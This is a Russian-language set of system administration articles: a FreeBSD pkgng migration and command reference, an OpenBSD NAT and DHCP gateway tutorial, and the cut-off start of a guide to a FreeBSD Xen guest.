       # pkg install -f devel/pkgconf
    
    или
    
       # pkg_delete -f pkg-config*
       # cd /usr/ports/devel/pkgconf
       # make install clean
    
    - для перехода на новые порты с новым Framework OPTIONSGS, перевести
    флаги в /etc/make.conf для сборки портов и options в новый формат:
    
       # /usr/ports/Tools/scripts/options2ng.sh -p
       (для конвертации /var/db/ports/name/options в новый формат)
    
       # /usr/ports/Tools/scripts/options2ng.sh -f /etc/make.conf
       # /usr/ports/Tools/scripts/options2ng.sh -f /usr/local/etc/ports.conf
       (если используем универсальный порт portsconf -> ports.conf его так же конвертируем в optionsng)
    
    если используем portmaster и планируем использовать его с pkgng,
    необходимо обновить до portmaster-3.13.13 с применением патча:
    
       # wget -Y off -t 0 -c --no-check-certificate https://raw.github.com/pkgng/pkgng/
    master/ports/patch-portmaster-pkgng
    
       # cp patch-portmaster-pkgng /usr/ports/ports-mgmt/portmaster/files
       # make -C /usr/ports/ports-mgmt/portmaster clean deinstall reinstall
    
    патч можно наложить прямо на уже установленную версию portmaster-3.13.13
    
    коротко:
    
    - первый запуск /usr/sbin/pkg (установит из портов /usr/ports/ports-mgmt/pkg)
    
       # pkg
    
    - создать ручной backup /var/db/pkg (старого формата pkg_add)
    
       # cp -R /var/db/pkg /var/tmp/pkg
    
    - запустить конвертацию старого формата packages в новый
    
       # pkg2ng
    
    получим backup старого /var/db/pkg -> /var/db/pkg.bak
    и новые базы sqlite для каждого репозитория в формате pkg:
    
    - local.sqlite (локально установленные пакеты через pkg)
    - repo.sqlite  (содержимое удаленного репозитория)
    
    pkg FAQ (portmaster): https://github.com/pkgng/pkgng/blob/master/FAQ.md
    
    до преобразования pkg2ng, выполнить:
    
       # portmaster -L (покажет установленные пакеты)
    
    после преобразования старой базы в базу pkg:
    
       # portmaster -L (покажет отсутствие пакетов)
    
    Если мы используем portmaster, необходимо его пропатчить для использования
    с pkg:
    
       # wget -Y off -t 0 -c --no-check-certificate https://raw.github.com/pkgng/pkgng/master/ports/patch-portmaster-pkgng
    
       # cp patch-portmaster-pkgng /usr/ports/ports-mgmt/portmaster/files
       # make -C /usr/ports/ports-mgmt/portmaster clean deinstall reinstall
       # echo "WITH_PKGNG=yes" >> /etc/make.conf
    
    проверка работы portmaster совместно с pkg:
    
       # portmaster -L (должен прочитать локальную базу pkg)
    
    Первичные настройки pkg:
    
    настройки в файле /usr/local/etc/pkg.conf, аналогичные переменные в среде
    перекроют настройки pkg.conf на момент выполнения:
    
       ASSUME_ALWAYS_YES  : [NO|YES]
       PACKAGESITE        : http://pkg.freebsd.org/${ABI}/latest (сайт репозитория)
       PKG_MULTIREPOS     : [NO|YES] (использовать несколько репозиториев)
    
    by default:
    
       PKG_DBDIR    = /var/db/pkg
       PKG_CACHEDIR = /var/cache/pkg
    
    репозитории задаются в pkg.conf
    
       # Repository definitions
       #repos:
       #  default : http://example.org/pkgng/
       #  repo1 : http://somewhere.org/pkgng/repo1/
       #  repo2 : http://somewhere.org/pkgng/repo2/
    
    некоторые общеупотребительные опции:
    
    -y - всегда отвечать "y [yes]", отменить интерактив
    -q - "без вывода сообщений на stdout", однако если неверно задано имя пакета
         вывод на stdout будет (почему просто не выдать код возврата "1"? )
    -f - выполнить "насильно" (или полная инфо в случае pkg info)
    -L - использовать только локальный кеш и запретить апдейт репозитория
    -r - задать репозиторий который будет использоваться
    
    использование шаблонов в пакетном менеджере pkg:
    
         -g  использовать как shell шаблон
         -x  использовать как регулярное выражение
         -X  использовать как расширенное регулярное выражение
    
    например: -g a* или -g "[0-z]*" или -g "*rar" или -g "?c"
              -x "perl-5*" или "^deco*$" или -x "^mc-*$" или -x "^mc-.*$"
              -x ".*rar$" и тд и тп
    
    справка:
    
       # pkg help
       # pkg help <command> - вызовет man pkg-command
    
    или
    
       # man pkg-command
    
    поиск требуемых пакетов:
    
    формат:
         pkg search pkg-name
         pkg search [-fDsqop] pkg-name
         pkg search [-gexXcdfDsqop] pattern
    
       # pkg search www/apache22
       # pkg search misc/mc
       # pkg search -x "^mc-*$"  (-x поиск по regexp)
       # pkg search -x "^mc-*"
    
       # pkg search -g "?c"      (-g поиск по shell global match)
       # pkg search -g "l?m*"
       # pkg search -g "[0-z]*"  (-g поиск по shell global match - все пакеты)
       # pkg search -g "[0-z]*" | sort -k 1,1 (показать все с сортировкой)
    
    запросить информацию с удаленного репозитория:
    
    формат:
    
         pkg rquery <query-format> <pkg-name>
         pkg rquery [-a] [-r reponame] <query-format>
         pkg rquery -e <evaluation-condition> [-r reponame] <query-format>
         pkg rquery [-gxX] [-r reponame] <query-format> <pattern> <...>
    
       # pkg rquery "шаблон" pkgname
    
    %d - зависимоть порта/пакета от других
    %r - другие зависят от данного порта/пакета
    %?d - 0/1 наличие зависимостей порта/пакета от других
    %?r - 0/1 наличие портов/пакетов которые зависят от указанного
    
    показать все пакеты удаленного репозитория:
    
       # pkg rquery -a "package: %n-%v"
       # pkg rquery -a "package: %n-%v - %c" (с комментарием)
       # pkg rquery -a "package: %n-%v size: %sh - %c" (размер + комментарий)
    
    посмотреть от каких портов зависит gtar и mc:
    
       # pkg rquery "tar depends %?d" gtar (0 - нет зависимостей, 1 -  есть)
       # pkg rquery "tar depends %?d" archivers/rar
    
       # pkg rquery "tar depends %do %dv" archivers/rar
       # pkg rquery "tar depends %do %dv" rar
       # pkg rquery "tar depends %do %dv" gtar
       # pkg rquery "tar depends %do %dv" archivers/gtar
    
       # pkg rquery "tar depends %do %dv" misc/mc
    
       # pkg rquery "pkg %n-%v require next deps: %dn-%dv" bash-4.2.37
    
    посмотреть какие порты требуют gtar и mc:
    
       # pkg rquery "tar depends %?r" gtar (0 - нет зависимостей, 1 - есть)
       # pkg rquery "tar depends %?r" archivers/rar
    
       # pkg rquery "tar depends %ro %rv" misc/mc
       # pkg rquery "pkg %n-%v needs for next packages: %rn-%rv" bash-4.2.37
    
    установка нужного пакета(ов) с локального или удаленного источника:
    
    
    формат:
    
         pkg add <pkg-name>
         pkg add <protocol>://<path>/<pkg-name>
    
       # pkg add /path/to/packages/foo-1.2.3.txz (установка локального пакета foo...)
       # pkg add http://example.org/pkgng-repo/foo-1.2.3.txz
       # pkg add  ftp://example.org/pkgng-repo/foo-1.2.3.txz
    (установка пакета foo-1.2.3.txz по ftp/http с удаленного репозитория)
    
    установка нужного пакета из репозитория:
    
    
    формат:
    
         pkg install [-AfgLnqRXxy] [-r reponame] <pkg-origin> ...
    
       # pkg install www/apach22
       # pkg install archivers/rar
       # pkg install mc
       # pkg install -y misc/mc
    ( -y == переменной среды или pkg.conf ASSUME_ALWAYS_YES )
    
       # pkg install -y -r repo1 audio/mpg123
    
    апгрейд заданного пакета осуществляется опцией -f
    
       # pkg install -f пакет
    
       # pkg install -fy archivers/rar (принудительно переустановить если уже есть)
    
    если со временем название пакетов звисимостей изменилось, а нам нужны
    пакеты в актуальном состоянии (или для последующего апгрейда) делают так:
    
    a) pkg set -o [<oldorigin>:<neworigin>] меняем старую зависимость на новую
    b) pkg install -fR category/name - переустанавливаем пакет name и рекурсивно
    все пакеты которые о него зависят (-R - переустановить все пакеты которые
    зависят от устанавливаемого)
    
       # pkg set -o graphics/libglut:graphics/freeglut (заменили libglut на freeglut)
       # pkg install -Rf graphics/freeglut (установили freeglut и все что от него зависит)
    
    или пример с обновлением ветки emacs, создали новый порт editors/emacs
    и оставили старый как editors/emacs23, который мы хотим оставить, но
    установлен он у нас был как editors/emacs, выполняем:
    
       # pkg set -o editors/emacs:editors/emacs23
    
    устанавливаем без апдейта удаленного репозитория, только через локальный (-L)
    
       # pkg install -yL rar-4.1.1,3 unrar-4.20,5
    
    если мы хотим установить пакет который имеет зависимости и впоследствии
    удалить его разом с зависимостями, его можно установить с пометкой как
    orphan (сирота) опция -A
    
       # pkg install -yAfL mc-4.8.1.1_1
    
    решили удалить его махом вместе с зависимостями - autoremove:
    
       # pkg autoremove -y
    
    посмотреть какие пакеты были установлены с флагом autoremove:
    
       # pkg query -a "installed package %o %v has autoremove flag = %a"
    или
       # pkg query -a "installed package %n-%v has autoremove flag = %a"
    
    получить информацию от локального репозитория об установленных пакетах:
    
         
    формат:
    
         pkg query <query-format> <pkg-name>
         pkg query [-a] <query-format>
         pkg query -F <pkg-name> <query-format>
         pkg query -e <evaluation-condition> <query-format>
         pkg query [-gxX] <query-format> <pattern> <...>
    
       # pkg query - всегда требуется задание формата <query-format>
    
       # pkg query "%Fp %Fs %sh" portmaster-3.13.13
    
       # pkg query " %n-%v \\n ports: %o\\n desc: %c\\n home: %w\\n pkg size: %sh" portmaster-3.13.13
    
    запросить информацию о динамических библиотеках пакета:
    
       # pkg query %Fp имя_пакета | grep -E '/lib[^/]+\\.so\\.[0-9]+$'
    
    показать информацию о всех пакетах БЕЗ и C autoremove флагом:
    
       # pkg query -e '%a == 0' '%n-%v'
    и
       # pkg query -e '%a == 1' '%o'
    
    показать все пакеты больше 50MB:
    
        # pkg query -e "%s > 50000000" "%n-%v is bigger than 50MB: %sh"
    python27-2.7.3_3 is bigger than 50MB: 67 MB
        #
    
    показать все пакеты больше 50MB и были установлены автоматически:
    
        # pkg query -e "%s > 50000000 && %a == 1" "%n-%v is bigger than 50MB: %sh and has been automatically installed"
    
    аудит установленных пакетов (проверка на известные уязвимости):
    
    формат:
    
         pkg audit [-Fq] <pkg-name>
    
       # pkg audit perl-5.14.2_2
       # pkg audit -F perl-5.14.2_2 (скачать базу перед проверкой)
    
    аудит сайт: http://portaudit.FreeBSD.org/auditfile.tbz
    
    изменение информации в базе установленных пакетов:
    
    
    формат:
    
      pkg set [-a] [-A [01]] [-o <oldorigin>:<neworigin>] [-y] [-xXg] <pkg-name>
    
       # pkg set -o devel/pkg-config:devel/pkgconf
       # pkg set -o graphics/libglut:graphics/freeglut
    
    установить флаг autoremove для заданного пакета:
    
       # pkg set -A 1 mc-4.8.1.1_1
    
    снять флаг autoremove:
    
       # pkg set -A 0 mc-4.8.1.1_1 
    
    информация по установленным пакетам:
    
    
    формат:
    
         pkg info <pkg-name>
         pkg info -a
         pkg info [-eDgxXEdrlsqopOfRF] <pkg-name>
         pkg info [-drlsq] -F <pkg-file>
    
       # pkg info
       deco-3.9_4                     Demos Commander, a free Norton  Commander clone
       pkg-1.0                        New generation package manager
       portmaster-3.13.13             Manage your ports without external databases or languages
    
       # pkg info -a   (-a - все установленные пакеты)
       deco-3.9_4                     Demos Commander, a free Norton Commander clone
       pkg-1.0                        New generation package manager
       portmaster-3.13.13             Manage your ports without external databases or languages
       #
    
       # pkg info deco  (инфо по указанному пакету)
       deco-3.9_4                     Demos Commander, a free Norton Commander clone
       #
    
       # pkg info -f deco (полная инфо по указанному пакету)
       Name           : deco
       Version        : 3.9_4
       Origin         : misc/deco
       Prefix         : /usr/local
       Categories     : misc
       Maintainer     : ports@FreeBSD.org
       WWW            : http://deco.sourceforge.net/
       Comment        : Demos Commander, a free Norton Commander clone
       Flat size      : 159 kB
       Description    : 
       A clone of Norton Commander for Unix.  Text-based,
       full featured file manager intuitive interface.
    
       WWW: http://deco.sourceforge.net/
       #
    
       # pkg info -D pkg (-D показать pkg-message)
       If you are upgrading from the old package format, first run:
    
       # pkg2ng
    
       # pkg info -d png-1.5.12
       png-1.5.12 depends on:
    #
       # pkg info -d mc или (pkg info -d mc-4.8.1.1_1) 
       mc-4.8.1.1_1 depends on:
       gamin-0.1.10_4
       gettext-0.18.1.1
       gio-fam-backend-2.28.8_1
       glib-2.28.8_4
       libiconv-1.14
       libslang2-2.2.4_3
       pcre-8.31
       perl-5.14.2_2
       pkgconf-0.8.5
       png-1.5.12
       python27-2.7.3_3
    
       # pkg info -r perl-5.14.2_2
       perl-5.14.2_2 is required by:
       glib-2.28.8_4
       gamin-0.1.10_4
       gio-fam-backend-2.28.8_1
       mc-4.8.1.1_1
    
    
    посмотреть динамические библиотеки установленные с пакетом:
    
       # pkg info -B pkg
     
    удаление пакетов:
    
    
    формат:
    
         pkg delete [-fgnqRXxy] <pkg-name> ...
         pkg delete [-nqy] -a
    
       # pkg delete rar
       # pkg delete -y rar
    
       # pkg delete -y rar unrar
       # pkg delete -x ".*rar$" (удаление с использованием regexp)
    
    отчет по версиям установленных пакетов:
    -----------------------------------------
    формат:
    
         pkg version [-IPR] [-hoqv] [-l limchar] [-L limchar] [-Xxge pattern]
             [-r reponame] [-O origin] [index]
         pkg version -t version1 version2
         pkg version -T <pkgname> <pattern>
    
        # pkg version
    
    если существует дерево портов, то оно используется для срванения
    с версиями установленных пакетов посредством pkg
    
       # pkg version -P    (использовать дерево портов для сравнения с пакетами)
       deco-3.9_4                         =
       pkg-1.0                            =
       portmaster-3.13.13                 =
       #
    
       # pkg version -R   (использовать репозиторий для определения out  of date pkg)
       deco-3.9_4                         =
       pkg-1.0                            >
       portmaster-3.13.13                 =
       #
    
       # pkg version -vRL=  
       pkg-1.0                            >   succeeds remote (remote has 1.0.r5_1)
       # pkg version -vRL\\<
       deco-3.9_4                         =   up-to-date with remote
       pkg-1.0                            >   succeeds remote (remote has  1.0.r5_1)
       portmaster-3.13.13                 =   up-to-date with remote
       # pkg version -vRL\\>
       deco-3.9_4                         =   up-to-date with remote
       portmaster-3.13.13                 =   up-to-date with remote
       #
    
    проверка целостности установленных пакетов:
    
    
    формат:
    
         pkg check [-Bdsr] [-vy] [-a | -gxX <pattern>]
    
       # pkg check [-Bdsr] [-vy] [-a | -gxX <pattern>]
    
    -B - анализ SHLIBS установленных пакетов
    -d - проверка на отсутствие зависимостей
    -r - пересчитать размер и checksums
    -s - найти неверные checksums
    -v - verbose (использовать чтобы увидеть реально работу)
    
       # pkg check -d или -r или -s или
    
    поиск принадлежности файла пакету:
    
    
    формат:
    
         pkg which [-qo] <file>
    
       # pkg which /usr/local/bin/gdbus
       /usr/local/bin/gdbus was installed by package glib-2.28.8_4
       # pkg which /usr/local/bin/idle 
       /usr/local/bin/idle was installed by package python27-2.7.3_3
       # pkg which -o /usr/local/bin/idle
       /usr/local/bin/idle was installed by package lang/python27
       #
    
    обновить локальную копию репозитория данными из удаленного репозитория:
    
    
    формат:
    
         pkg update [-fq]
    
       # pkg update -f (принудительно полностью скачать удаленный репозиторий
    и обновить локальный без сравнения на свежесть локального с удаленным)
    
    выполнить апгрейд установленных пакетов:
    
    
    формат:
    
         pkg upgrade [-fLnqy] [-r reponame]
    
       # pkg upgrade -f (принудительный апгрейд всех пакетов)
       # pkg upgrade -yf
       # pkg upgrade -yfL (принудительный апгрейд всех пакетов без обновления
                        репозитория)
    
    по умолчанию pkg upgrade сначала обновляет репозиторий (pkg update),
    затем производит апгрейд всех пакетов.
    
       # pkg upgrade -n (посмотреть без реального выполнения апгрейда)
    
    прим: не путать с индивидуальным апгрейдом пакета
          # pkg install -yfR mc-4.8.1.1_1
          # pkg install -yfRL mc-4.8.1.1_1
    
    статистика локального и удаленного репозитория:
    
    формат:
    
         pkg stats [-qlr]
    
       # pkg stats
       Local package database:
            Installed packages: 3
            Disk space occupied: 6932 kB
    
       Remote package database(s):
            Number of repositories: 1
            Packages available: 22212
            Unique packages: 22212
            Total size of packages: 96 GB
    
       # pkg stats -l (статистика только по локальной копии репозитория)
       # pkg stats -r (статистика только по удаленному репозиторию)
    
    скачать пакет и его зависимости из удаленного репозитория:
    
    
    формат:
    
         pkg fetch [-r reponame] [-yqgxXadL] <pkg-name> [...]
    
       # pkg fetch -a (скачать все пакеты)
       # pkg fetch -yL bash-4.2.37
       # pkg fetch -yd clamav-0.97.5_1 (скачать clamav и все пакеты от которых он зависит)
    
    пакеты будут сохранены в PKG_CACHEDIR (/var/cache/pkg/All)
    
    создание пакетов для дальнейшего использования:
    
    
    формат:
    
         pkg create [-n] [-f format] [-o outdir] [-p plist] [-r rootdir] -m
             manifestdir
         pkg create [-gnxX] [-f format] [-o outdir] [-r rootdir] pkg-name ...
         pkg create [-n] [-f format] [-o outdir] [-r rootdir] -a
    
    создание пакетов в формате pkg из всех ранее установленных в системе
    портов или пакетов и сохранение их в /usr/ports/packages/All:
     
       # pkg create -a -o /usr/ports/packages/All
    
    создание одного пакета в формате pkg установленных ранее из портов:
    
       # pkg create -o /usr/ports/packages/All packagename
    
    очистка локального кеша - данных об удаленных пакетах которые out-of-date и
    которые больше не сопровождаются:
    
    
       # pkg clean
    
    более здесь расписывать нечего :)
    
    создание репозитория:
    
    
    формат:
    
         pkg repo [-fq] <repo-path> [rsa-key]
    
    пример создания собственного локального репозитория из всех установленных
    у нас пакетов:
    
       # cd /scratch/huge_free_space
       # pkg create -a
       # pkg repo .
    
    теперь можем использовать собственный репозиторий для установки через
    pkg add/install
    
    регистрация уже установленных пакетов или портов в локальной базе:
    
    
    формат:
    
         pkg register [-ld] -f <plist-file> -m <metadatadir> -i <input-path>
    
    ... в man'е вроде описано, но как применить непонятно...
    
    посмотреть какие пакеты слинкованы со специфичными shared library:
    
    
    формат:
    
         pkg shlib <library>
    
       # pkg shlib libpkg.so.0
       libpkg.so.0 is linked to by the folowing packages:
       pkg-1.0
       #
    
    динамическая библиотека задается без пути но включая версию ABI,
    при поиске используется точное соответствие.
    
    прим: непонятно как работает, не показывает явные зависимости, при
    взведенной переменной SHLIBS как в pkg.conf, так и в среде.
    
    dump/restore локальной базы данных:
    
    формат:
    
         pkg backup -d <dest_file>
         pkg backup -r <src_file>
    
    прозрачная команда:
    
       # pkg backup -d /var/tmp/pkgng_db.dump
       # pkg backup -r /var/tmp/pkgng_db.dump
    
    взаимодействие с базами пакетов:
    
    
    формат:
            
         pkg shell
    
    pkg shell - предоставляет доступ к локальной и удаленной базе пакетов
    через консоль sqlite, например:
    
       # echo 'select * from packages;' | pkg shell
       # echo 'select origin,name,version,comment from packages;' | pkg shell
    
    показать какие есть базы:
    
       # echo '.databases' | pkg shell
       seq  name             file                                                      
       0    main             /var/db/pkg/local.sqlite                                  
    
    какие есть таблицы:
    
       # echo '.tables' | pkg shell
       categories       licenses         pkg_directories  scripts        
       deps             mtree            pkg_groups       shlibs         
       directories      options          pkg_licenses     users          
       files            packages         pkg_shlibs     
       groups           pkg_categories   pkg_users      
    
    схему таблицы:
    
       # echo '.schema packages' | pkg shell
    
       CREATE TABLE packages (id INTEGER PRIMARY KEY,origin TEXT UNIQUE NOT NULL,name TEXT NOT NULL,version TEXT NOT NULL,comment TEXT NOT NULL,desc TEXT NOT NULL,mtree_id INTEGER REFERENCES mtree(id) ON DELETE RESTRICT ON UPDATE CASCADE,message TEXT,arch TEXT NOT NULL,maintainer TEXT NOT NULL, www TEXT,prefix TEXT NOT NULL,flatsize INTEGER NOT NULL,automatic INTEGER NOT NULL,licenselogic INTEGER NOT NULL,infos TEXT, time INTEGER, pkg_format_version INTEGER); 
      #
    
     
    ----* Шлюз (NAT) + DHCP-сервер на OpenBSD для начинающих   Автор: Калегин Сергей Николаевич  [комментарии]
     
    В этой статье я хочу рассказать о своём опыте создания шлюза на базе
    операционной системы (ОС) OpenBSD, так как, по-моему, это оптимальное решение
    для большинства организаций, офисов и, в особенности, для дома. Здесь я не буду
    давать подробные теоретические выкладки, коих и так полно в Интернете и
    документации, а просто постараюсь кратко и лаконично изложить основные шаги для
    достижения цели. Но прежде чем начать непосредственно демонстрацию настроек
    OpenBSD и соответствующего софта, хотелось бы внести некоторую ясность по
    поводу моих предпочтений.
    
    Итак. Почему я выбрал в качестве основы для сервера (шлюза) именно систему
    OpenBSD, а не какую-то другую? Этот выбор не случайный, а вполне обоснованный,
    и причин для выбора данной ОС более чем достаточно. Дело в том, что до OpenBSD
    мне приходилось работать со многими системами (DOS, Windows, Linux, Lindows,
    BeOS, FreeBSD и т.д.), однако ни одна из них меня настолько не впечатлила своей
    простотой, целостностью, гибкостью и надёжностью как OpenBSD и, её основа,
    NetBSD (но последняя заслуживает отдельной статьи). Причём простота заключается
    не только в управлении самой операционной системой, но и в установке, настройке
    и нетребовательности к ресурсам компьютера. Ведь для работы данной ОС подходит
    практически ЛЮБОЙ компьютер (даже Pentium I), а вся установка OpenBSD занимает
    чуть больше минуты! Разве это не замечательно?... Особенно если посмотреть на
    это с точки зрения финансово-временных затрат, которые в большинстве случаев
    играют ключевую роль при выборе и установке сервера как в офисе, так и дома. Да
    к тому же OpenBSD распространяется свободно и абсолютно бесплатная! Более того,
    эта система считается самой безопасной ОС в мире! Надеюсь, данных аргументов
    достаточно для того, чтобы вы хотябы дочитали эту статью до конца, а там
    решайте сами.
    
    Для начала давайте определимся чего мы хотим, что конкретно и как должен делать наш сервер.
    
    Если это обычный шлюз (типа "мост"), то достаточно просто включить
    перенаправление сетевого трафика с одной сетевой карты на другую и всё.
    Делается это правкой всего двух-трёх конфигурационных файлов. Если же наш
    сервер должен выполнять ещё какие-то функции, то это уже сложнее, но не намного.
    
    Возьмём более или менее стандартную ситуацию. Допустим нам нужно
    просто-напросто соединить локальную сеть провайдера, типа 10.135.62.0 (класса
    A), провод от которой приходит к нам в дом или офис, и нашу внутреннюю
    (локальную) сеть Ethernet, типа 172.18.7.0 (класса B), которая проложена по
    офису или квартире. Адреса сетей могут быть и другими (и других классов), это
    несущественно. Практически то же самое представляет собой соединение через
    ADSL- или кабельный модем, который имеет обычный сетевой выход и выполняет
    функцию роутера.
    
    Плюс к этому, для уменьшения точек (узлов) настройки и облегчения
    администрирования, на шлюз мы поставим DHCP-сервер, который будет автоматически
    назначать адреса всем компьютерам локальной сети. Теперь, когда задача ясна,
    приступим к её решению. Для этого понадобится сделать всего 4 шага:
    
    1) Выбрать компьютер для нашего шлюза (возьмём старый и дешёвый IBM PC Pentium II);
    2) Установить и настроить саму ОС (мы будем ставить OpenBSD 4.8 для платформы i386);
    3) Настроить пересылку пакетов (трансляцию трафика) между сетевыми интерфейсами;
    4) Настроить сервер DHCP (DHCPD).
    
    На выполнение всех этих действий уйдёт всего несколько минут! Итак, приступим.
    
    1) Для шлюза можно взять любой старый компьютер (например, приготовленный на
    выброс или списанный в утиль) или, при его отсутствии, покупаем такой компьютер
    через Интернет или у знакомых (или берём старьё в другой организации). Стоит он
    копейки, или даже совсем ничего не стоит, так как это хлам. Также, можно
    собрать такую машину из старых запчастей, которых в организациях и у
    компьютерщиков, обычно, навалом! Не забудьте поставить в него 2 сетевые карты
    (ведь сети у нас 2).
    
    2) Скачиваем с официального сайта http://openbsd.org/ последний (хотя
    необязательно) стабильный релиз ОС OpenBSD (лучше сразу ISO-образ) для
    выбранного компьютера и записываем его на CD или DVD (ну или на другой
    носитель, если вы будете ставить систему с него). Затем вставляем этот диск в
    наш будущий сервер и грузимся с него.
    Для начала установки нужно нажать клавишу (букву) "i" (install). 
    
    Затем вы должны ответить на несколько простых вопросов (типа какой раскладкой
    вы будете пользоваться, в каком часовом поясе находитесь, каким будет сетевое
    имя компьютера, к какому DNS-имени (домену) подключиться и т.д.), а также
    задать настройки сетевых интерфейсов (сетевых карт), хотя это можно сделать и
    после установки. Здесь хотелось бы дать несколько рекомендаций:
    
    - Стандартную раскладку клавиатуры лучше не менять (по умолчанию будет "English US");
    - Временной пояс лучше поставить свой (например Europe/Moscow);
    - Имя машины (системы) можно взять любое, но лучше с указанием на домен, например mytest.lan;
    - Сетевые интерфейсы в OpenBSD называются по разному, например fxp0 или rtl0
    (зависит от чипа на сетевой карте). Смотрите внимательно что и как вы
    настраиваете и о чём вас спрашивает установщик, иначе потом придётся
    перенастраивать всё вручную.
    
    После того как вы ответили на все вопросы по настройке системы, будет
    предложено разбить HDD на разделы (без опыта работы с fdisk-ом лучше этого не
    делать!). В нашем случае компьютер тарый и объём HDD не настолько большой,
    чтобы его "пилить" на части, поэтому будем использовать весь диск целиком (по
    умолчанию). Просто нажимаем Enter и идём дальше. Затем будет выдан список
    пакетов для установки. Тут я рекомендую убрать игры, многопроцессорную
    поддержку (если у вас в компьютере только один процессор) и всё, что касается
    графической системы X Window. Делается это очень просто:
    
     -game*  (затем нажать Enter);
     -bsd.mp  (затем нажать Enter);
     -x*   (затем нажать Enter);
    
    Всё. Далее останется дождаться конца установки (примерно 1-2 минуты) и указать
    какие сервисы (демоны) нужно запускать вместе с системой. Здесь можно
    отказаться от запуска почти всего кроме, наверное, sshd (это сервер удалённого
    управления по SSH). После установки желательно перезагрузить компьютер (команда reboot).
    
    3) Теперь у нас есть действующий сервер с уже работающими и подключёнными
    сетевыми интерфейсами, если конечно вы их правильно настроили при установке.
    Если нет, тоже не так страшно, просто отредактируйте конфигурационные файлы
    сетевых карт типа /etc/hostname.fxp0 и /etc/hostname.rtl0 (здесь
    предполагается, что ваши сетевушки определены как fxp0 и rtl0).
    
    Посмотреть список всех подобных файлов можно командой ls, например:
    
       ls /etc/hostname.*
    
    Чтобы убедиться в правильности настроек, можно вывести параметры всех сетевых
    интерфейсов с помощью команды ifconfig, например так:
    
       ifconfig -a
    
    или же просто пустить ping на те адреса, которые вы указали в настройках, например:
    
       ping 10.135.62.26  (где 10.135.62.26 IP-адрес от Вашего провайдера или модема)
    
    и
    
       ping 172.18.7.1  (где 172.18.7.1 IP-адрес Вашего внутреннего интерфейса)
    
    Если проверка прошла успешно, переходим к настройкам трансляции сетевого
    трафика между нашими сетями (NAT). Для этого достаточно включить forwarding
    (пересылку) в файле /etc/sysctl.conf:
    
       net.inet.ip.forwarding=1 (для протокола TCP 4-й версии)
    
    и/или
    
       net.inet6.ip6.forwarding=1  (для TCP 6-й версии, если она используется)
    
    А также настроить встроенный пакетный фильтр (pf) на работу в качестве NAT
    (Network Address Translation). Делается это в файле конфигурации /etc/pf.conf с
    помощью параметра nat-to, например так:
    
       pass out on $ext_if from 172.18.7.0/16 nat-to 10.135.62.26
    
    В данном случае мы перенаправляем весь трафик из внутренней (локальной) сети
    172.18.7.0 на адрес провайдера (или модема) 10.135.62.26. Обратите внимание на
    переменную $ext_if! Вместо неё должно быть подставлено название внешнего
    интерфейса (который подключён к сети провайдера). Обычно она определяется в
    самом начале pf.conf примерно следующим образом:
    
       ext_if="fxp0"  (если fxp0 имеет адрес 10.135.62.26, как в нашем примере)
    
    Ну вот и все настройки NAT-а в OpenBSD. Как видите это делается правкой всего
    двух конфигов, в которые нужно дописать по одной строчке. Простота и
    доступность - главные преимущества систем BSD!
    
    Осталось только добавить NAT (точнее pf) в автозагрузку. Самый простой способ
    это сделать - найти и изменить строчку типа "pf=" в файле /etc/rc.conf, должно
    быть так:
    
       pf=YES
    
    После перезагрузки вы увидите, что pf был запущен и настроен, а следовательно,
    все пользователи локальной сети могут подключаться к сети провайдера и
    наслаждаться доступом в Интернет!
    
    4) Ну и последний штрих в настройке нашего сервера - включение и настройка
    DHCPD. Эта штука позволит нам автоматически раздавать IP-адреса, ограничивать
    количество компов в сети, а также изолировать некоторые компьютеры в отдельные
    сетевые группы не вставая из-за консоли сервера. Причём все настройки делаются
    в одном единственном файле - /etc/dhcpd.conf, например так:
    
       option domain-name-servers 10.135.62.2;
       subnet 172.18.7.0 netmask 255.255.0.0 {
           routers 172.18.7.1;
           range 172.18.7.130 172.18.7.190;
       }
    
    
    В этом примере мы указываем общий для всех DNS-сервер 10.135.62.2, затем
    создаём подсеть (блок адресов) из 60 адресов (с 172.18.7.130 по 172.18.7.190) и
    прописываем для неё шлюз (маршрутизатор) 172.18.7.1. Таким образом, компьютеры
    локальной сети, при обращении к нашему серверу будут получать свободный адрес
    из указанного диапазона, шлюз 172.18.7.1 и DNS-сервер 10.135.62.2. И таких
    подсетей можно сделать сколько угодно с разными настройками.
    
    Если же в этот дипазон попал, например, принтер или просто требуется жёсткая
    привязка компьютера к какому-то IP-адресу, тоже не проблема. Нужно всего лишь
    указать MAC-адрес сетевой карты этого компа и выделить ему IP, например так:
    
       host static-client {
         hardware ethernet 00:12:25:2a:3c:17;
        fixed-address 172.18.7.150;
       }
    
    Таким образом мы делаем постоянную привязку IP-адреса 172.18.7.150 к MAC-адресу
    00:12:25:2a:3c:17. То есть только компьютер (или принтер) с MAC-ом
    00:12:25:2a:3c:17 будет получать IP-шник 172.18.7.150, он будет для этой машины
    зарезервирован. И, опять же, таких привязок можно сделать сколько угодно, хоть
    на всю подсеть, например так:
    
       subnet 172.18.7.0 netmask 255.255.0.0 {
           routers 172.18.7.1;
           range 172.18.7.130 172.18.7.190;
           host static-client {
             hardware ethernet 00:12:25:2a:9c:12;
             fixed-address 172.18.7.140;
          }
          host static-client1 {
             hardware ethernet 00:12:25:2a:3c:17;
             fixed-address 172.18.7.150;
          }
          host static-client2 {
             hardware ethernet 00:12:25:4b:3c:45;
             fixed-adress 172.18.7.160;
          }
       }
    
    В этом примере зарезервированы 3 адреса: 172.18.7.140, 172.18.7.150 и 172.18.7.160.
    
    В завершение включаем автоматический запуск данного демона (службы) всё в том
    же /etc/rc.conf следующей строчкой:
    
       dhcpd_flags=""
    
    Её просто нужно найти и поменять значение параметра.
    
    Ну вот и всё. После перезагрузки компьютера вы увидите запуск всех настроенных
    демонов (сервисов), а проверить их работу и состояние можно с помощью команды
    pgrep, например:
    
       pgrep -lf dhcpd
    
    При этом на экран будет выведен номер процесса (PID) и ссылка на сам
    DHCP-сервер. Аналогично проверяется работа и других сервисов (демонов),
    запущенных в OpenBSD.
    
    Как видите в создании сервера (шлюза) на базе операционной системы OpenBSD нет
    ничего сложного и страшного. Попробуйте, у вас обязательно получится!
    
     
    ----* Подготовка DomU FreeBSD-окружения для выполнения в Linux Dom0 Xen с LVM (доп. ссылка 1)   [комментарии]
     
    В качестве хост-системы будет использован сервер на базе Debian GNU/Linux 5, на
    котором дисковые разделы разбиты с использованием LVM.
    
    Для сборки работающего в режиме паравиртуализации ядра FreeBSD и формирования
    образа системы понадобится уже установленная FreeBSD. В простейшем случае можно
    воспользоваться VirtualBox для временной установки FreeBSD.
    
    Заходим в существующую FreeBSD систему и подготавливаем дисковый образ /tmp/freebsd.img для Xen.
    
